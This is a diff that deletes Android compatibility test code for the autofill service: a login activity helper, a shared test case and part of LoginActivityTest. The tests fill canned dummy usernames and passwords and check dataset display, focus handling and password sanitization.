-     * Taps the save button in the UI thread.
-     */
-    public void tapSave() throws Exception {
-        syncRunOnUiThread(() -> mSaveButton.performClick());
-    }
-
-    /**
-     * Taps the clear button in the UI thread.
-     */
-    public void tapClear() {
-        syncRunOnUiThread(() -> mClearButton.performClick());
-    }
-
-    /**
-     * Sets the window flags.
-     */
-    public void setFlags(int flags) {
-        Log.d(TAG, "setFlags():" + flags);
-        syncRunOnUiThread(() -> getWindow().setFlags(flags, flags));
-    }
-
-    /**
-     * Adds a child view to the root container.
-     */
-    public void addChild(View child) {
-        Log.d(TAG, "addChild(" + child + "): id=" + child.getAutofillId());
-        final ViewGroup root = (ViewGroup) mUsernameContainer.getParent();
-        syncRunOnUiThread(() -> root.addView(child));
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeTextWatcher ccUsernameWatcher;
-        private final OneTimeTextWatcher ccPasswordWatcher;
-
-        private FillExpectation(String username, String password) {
-            ccUsernameWatcher = username == null ? null
-                    : new OneTimeTextWatcher("username", mUsernameEditText, username);
-            ccPasswordWatcher = password == null ? null
-                    : new OneTimeTextWatcher("password", mPasswordEditText, password);
-        }
-
-        private FillExpectation(String username) {
-            this(username, null);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
deleted file mode 100644
index 1bad60a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_MOAR_RESPONSES;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.inline.InlineLoginActivityTest;
-import android.service.autofill.FillContext;
-import android.view.View;
-
-import org.junit.Test;
-
-/**
- * This is the common test cases with {@link LoginActivityTest} and {@link InlineLoginActivityTest}.
- */
-public abstract class LoginActivityCommonTestCase extends AbstractLoginActivityTestCase {
-
-    protected LoginActivityCommonTestCase() {}
-
-    protected LoginActivityCommonTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    @Test
-    public void testAutoFillNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger autofill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-
-        // Make sure a fill request is called but don't check for connected() - as we're returning
-        // a null response, the service might have been disconnected already by the time we assert
-        // it.
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Test connection lifecycle.
-        waitUntilDisconnected();
-    }
-
-    @Test
-    public void testAutoFillNoDatasets_multipleFields_alwaysNull() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE)
-                .addResponse(NO_MOAR_RESPONSES);
-
-        // Trigger autofill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Tap back and forth to make sure no more requests are shown
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-
-        mActivity.onUsername(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-    }
-
-
-    @Test
-    public void testAutofill_oneDataset() throws Exception {
-        testBasicLoginAutofill(/* numDatasets= */ 1, /* selectedDatasetIndex= */ 0);
-    }
-
-    @Test
-    public void testAutofill_twoDatasets_selectFirstDataset() throws Exception {
-        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 0);
-
-    }
-
-    @Test
-    public void testAutofill_twoDatasets_selectSecondDataset() throws Exception {
-        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 1);
-    }
-
-    private void testBasicLoginAutofill(int numDatasets, int selectedDatasetIndex)
-            throws Exception {
-        // Set service.
-        enableService();
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final View username = mActivity.getUsername();
-        final View password = mActivity.getPassword();
-
-        String[] expectedDatasets = new String[numDatasets];
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
-        for (int i = 0; i < numDatasets; i++) {
-            builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
-                    .setField(ID_USERNAME, "dude" + i)
-                    .setField(ID_PASSWORD, "sweet" + i)
-                    .setPresentation("The Dude" + i, isInlineMode())
-                    .build());
-            expectedDatasets[i] = "The Dude" + i;
-        }
-
-        sReplier.addResponse(builder.build());
-        mActivity.expectAutoFill("dude" + selectedDatasetIndex, "sweet" + selectedDatasetIndex);
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertDatasets(expectedDatasets);
-        callback.assertUiShownEvent(username);
-
-        mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        callback.assertUiHiddenEvent(username);
-
-        // Make sure input was sanitized.
-        final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
-        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
-        assertTextIsSanitized(request.structure, ID_PASSWORD);
-        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
-        assertThat(fillContext.getFocusedId())
-                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
-        if (isInlineMode()) {
-            assertThat(request.inlineRequest).isNotNull();
-        } else {
-            assertThat(request.inlineRequest).isNull();
-        }
-
-        // Make sure initial focus was properly set.
-        assertWithMessage("Username node is not focused").that(
-                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
-        assertWithMessage("Password node is focused").that(
-                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
-    }
-
-    @Test
-    public void testClearFocusBeforeRespond() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Clear focus before responded
-        mActivity.onUsername(View::clearFocus);
-        mUiBot.waitForIdleSync();
-
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build());
-        sReplier.addResponse(builder.build());
-        sReplier.getNextFillRequest();
-
-        // Confirm no datasets shown
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testSwitchFocusBeforeResponse() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Trigger second fill request
-        mUiBot.selectByRelativeId(ID_PASSWORD);
-        mUiBot.waitForIdleSync();
-
-        // Respond for username
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Set expectations and respond for password
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation("The Password", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        // confirm second response shown
-        mUiBot.assertDatasets("The Password");
-    }
-
-    @Test
-    public void testManualRequestWhileFirstResponseDelayed() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Trigger second fill request
-        mActivity.forceAutofillOnUsername();
-        mUiBot.waitForIdleSync();
-
-        // Respond for first request
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        // Set expectations and respond for second request
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude2")
-                        .setPresentation("The Dude 2", isInlineMode())
-                        .build()).build());
-        sReplier.getNextFillRequest();
-
-        // confirm second response shown
-        mUiBot.assertDatasets("The Dude 2");
-    }
-
-    @Test
-    public void testResponseFirstAfterResponseSecond() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Trigger second fill request
-        mActivity.forceAutofillOnUsername();
-        mUiBot.waitForIdleSync();
-
-        // Respond for first request
-        sReplier.addResponse(new CannedFillResponse.Builder(CannedFillResponse.ResponseType.DELAY)
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        // Set expectations and respond for second request
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude2")
-                        .setPresentation("The Dude 2", isInlineMode())
-                        .build()).build());
-        sReplier.getNextFillRequest();
-
-        // confirm second response shown
-        mUiBot.assertDatasets("The Dude 2");
-
-        // Wait first response was sent
-        sReplier.getNextFillRequest();
-
-        // confirm second response still shown
-        mUiBot.assertDatasets("The Dude 2");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
deleted file mode 100644
index 141fb2f..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ /dev/null
@@ -1,2906 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
-import static android.autofillservice.cts.CannedFillResponse.FAIL;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_CANCEL_FILL;
-import static android.autofillservice.cts.Helper.ID_EMPTY;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.allowOverlays;
-import static android.autofillservice.cts.Helper.assertHasFlags;
-import static android.autofillservice.cts.Helper.assertNumberOfChildren;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTextOnly;
-import static android.autofillservice.cts.Helper.assertValue;
-import static android.autofillservice.cts.Helper.assertViewAutofillState;
-import static android.autofillservice.cts.Helper.disallowOverlays;
-import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.isAutofillWindowFullScreen;
-import static android.autofillservice.cts.Helper.setUserComplete;
-import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_CLASS;
-import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_PACKAGE;
-import static android.autofillservice.cts.InstrumentedAutoFillService.isConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
-import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
-import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
-import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.content.Context.CLIPBOARD_SERVICE;
-import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-import static android.text.InputType.TYPE_NULL;
-import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
-import static android.view.WindowManager.LayoutParams.FLAG_SECURE;
-
-import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
-import static com.android.compatibility.common.util.ShellUtils.tap;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.PendingIntent;
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.BroadcastReceiver;
-import android.content.ClipData;
-import android.content.ClipboardManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.IntentSender;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillContext;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.View;
-import android.view.View.AccessibilityDelegate;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityNodeProvider;
-import android.view.autofill.AutofillManager;
-import android.widget.EditText;
-import android.widget.RemoteViews;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-
-/**
- * This is the test case covering most scenarios - other test cases will cover characteristics
- * specific to that test's activity (for example, custom views).
- */
-public class LoginActivityTest extends LoginActivityCommonTestCase {
-
-    private static final String TAG = "LoginActivityTest";
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillAutomaticallyAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again, in a field that was added after the first request
-        final EditText child = new EditText(mActivity);
-        child.setId(R.id.empty);
-        mActivity.addChild(child);
-        final OneTimeTextWatcher watcher = new OneTimeTextWatcher("child", child,
-                "new view on the block");
-        child.addTextChangedListener(watcher);
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setField(ID_EMPTY, "new view on the block")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.syncRunOnUiThread(() -> child.requestFocus());
-
-        sReplier.getNextFillRequest();
-
-        // Select the dataset.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        watcher.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillManuallyAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again, forcing it
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-
-        mActivity.forceAutofillOnUsername();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Select the dataset.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillManuallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger autofill.
-        // NOTE: must be on password, as saveOnlyTest() will trigger on username
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-        sReplier.assertNoUnhandledFillRequests();
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-        sReplier.assertNoUnhandledFillRequests();
-
-        // Try again, forcing it
-        saveOnlyTest(/* manually= */ true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillAutomaticallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again, in a field that was added after the first request
-        final EditText child = new EditText(mActivity);
-        child.setId(R.id.empty);
-        mActivity.addChild(child);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        ID_USERNAME,
-                        ID_PASSWORD,
-                        ID_EMPTY)
-                .build());
-        mActivity.syncRunOnUiThread(() -> child.requestFocus());
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        mActivity.runOnUiThread(() -> child.setText("NOT MR.M"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-        assertThat(saveRequest.datasetIds).isNull();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, "malkovich");
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        assertTextAndValue(password, "malkovich");
-        final ViewNode childNode = findNodeByResourceId(saveRequest.structure, ID_EMPTY);
-        assertTextAndValue(childNode, "NOT MR.M");
-    }
-
-    /**
-     * More detailed test of what should happen after a service returns a {@code null} FillResponse:
-     * views that have already been visit should not trigger a new session, unless a manual autofill
-     * workflow was requested.
-     */
-    @Test
-    @AppModeFull(reason = "testAutoFillNoDatasets() is enough")
-    public void testMultipleIterationsAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger autofill on username - should call service
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        waitUntilDisconnected();
-
-        // Every other call should be ignored
-        mActivity.onPassword(View::requestFocus);
-        mActivity.onUsername(View::requestFocus);
-        mActivity.onPassword(View::requestFocus);
-
-        // Trigger autofill by manually requesting username - should call service
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.forceAutofillOnUsername();
-        final FillRequest manualRequest1 = sReplier.getNextFillRequest();
-        assertHasFlags(manualRequest1.flags, FLAG_MANUAL_REQUEST);
-        waitUntilDisconnected();
-
-        // Trigger autofill by manually requesting password - should call service
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.forceAutofillOnPassword();
-        final FillRequest manualRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(manualRequest2.flags, FLAG_MANUAL_REQUEST);
-        waitUntilDisconnected();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyAlwaysCallServiceAgain() throws Exception {
-        // Set service.
-        enableService();
-
-        // First request
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.onUsername(View::requestFocus);
-        // Waits for the fill request to be sent to the autofill service
-        mUiBot.waitForIdleSync();
-
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Second request
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(createPresentation("THE DUDE"))
-                .build());
-
-        mUiBot.waitForWindowChange(() -> mActivity.forceAutofillOnUsername());
-
-        final FillRequest secondRequest = sReplier.getNextFillRequest();
-        assertHasFlags(secondRequest.flags, FLAG_MANUAL_REQUEST);
-        mUiBot.assertDatasets("THE DUDE");
-    }
-
-    @Test
-    public void testAutoFillOneDataset() throws Exception {
-        autofillOneDatasetTest(BorderType.NONE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
-    public void testAutoFillOneDataset_withHeader() throws Exception {
-        autofillOneDatasetTest(BorderType.HEADER_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
-    public void testAutoFillOneDataset_withFooter() throws Exception {
-        autofillOneDatasetTest(BorderType.FOOTER_ONLY);
-    }
-
-    @Test
-    public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
-        autofillOneDatasetTest(BorderType.BOTH);
-    }
-
-    private enum BorderType {
-        NONE,
-        HEADER_ONLY,
-        FOOTER_ONLY,
-        BOTH
-    }
-
-    private void autofillOneDatasetTest(BorderType borderType) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        String expectedHeader = null, expectedFooter = null;
-
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build());
-        if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
-            expectedHeader = "Head";
-            builder.setHeader(createPresentation(expectedHeader));
-        }
-        if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
-            expectedFooter = "Tails";
-            builder.setFooter(createPresentation(expectedFooter));
-        }
-        sReplier.addResponse(builder.build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Dynamically set password to make sure it's sanitized.
-        mActivity.onPassword((v) -> v.setText("I AM GROOT"));
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Auto-fill it.
-        final UiObject2 picker = mUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
-                "The Dude");
-
-        mUiBot.selectDataset(picker, "The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Validation checks.
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
-        assertTextIsSanitized(request.structure, ID_PASSWORD);
-        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
-        assertThat(fillContext.getFocusedId())
-                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
-
-        // Make sure initial focus was properly set.
-        assertWithMessage("Username node is not focused").that(
-                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
-        assertWithMessage("Password node is focused").that(
-                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
-    }
-
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillAgainAfterOnFailure() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(FAIL);
-
-        // Trigger autofill.
-        requestFocusOnUsernameNoWindowChange();
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build());
-        sReplier.addResponse(builder.build());
-
-        // Trigger autofill.
-        clearFocus();
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mActivity.expectAutoFill("dude", "sweet");
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testDatasetPickerPosition() throws Exception {
-        final boolean pickerAndViewBoundsMatches = !isAutofillWindowFullScreen(mContext);
-
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final View username = mActivity.getUsername();
-        final View password = mActivity.getPassword();
-
-        // Set expectations.
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                        .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
-                        .build());
-        sReplier.addResponse(builder.build());
-
-        // Trigger autofill on username
-        final Rect usernameBoundaries1 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
-        sReplier.getNextFillRequest();
-        callback.assertUiShownEvent(username);
-        final Rect usernamePickerBoundaries1 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
-        Log.v(TAG,
-                "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
-        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
-        if (pickerAndViewBoundsMatches) {
-            if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
-                assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
-            } else {
-                assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
-            }
-
-            assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
-        }
-
-        // Move to password
-        final Rect passwordBoundaries1 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        final Rect passwordPickerBoundaries1 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
-        Log.v(TAG,
-                "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
-        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
-        if (pickerAndViewBoundsMatches) {
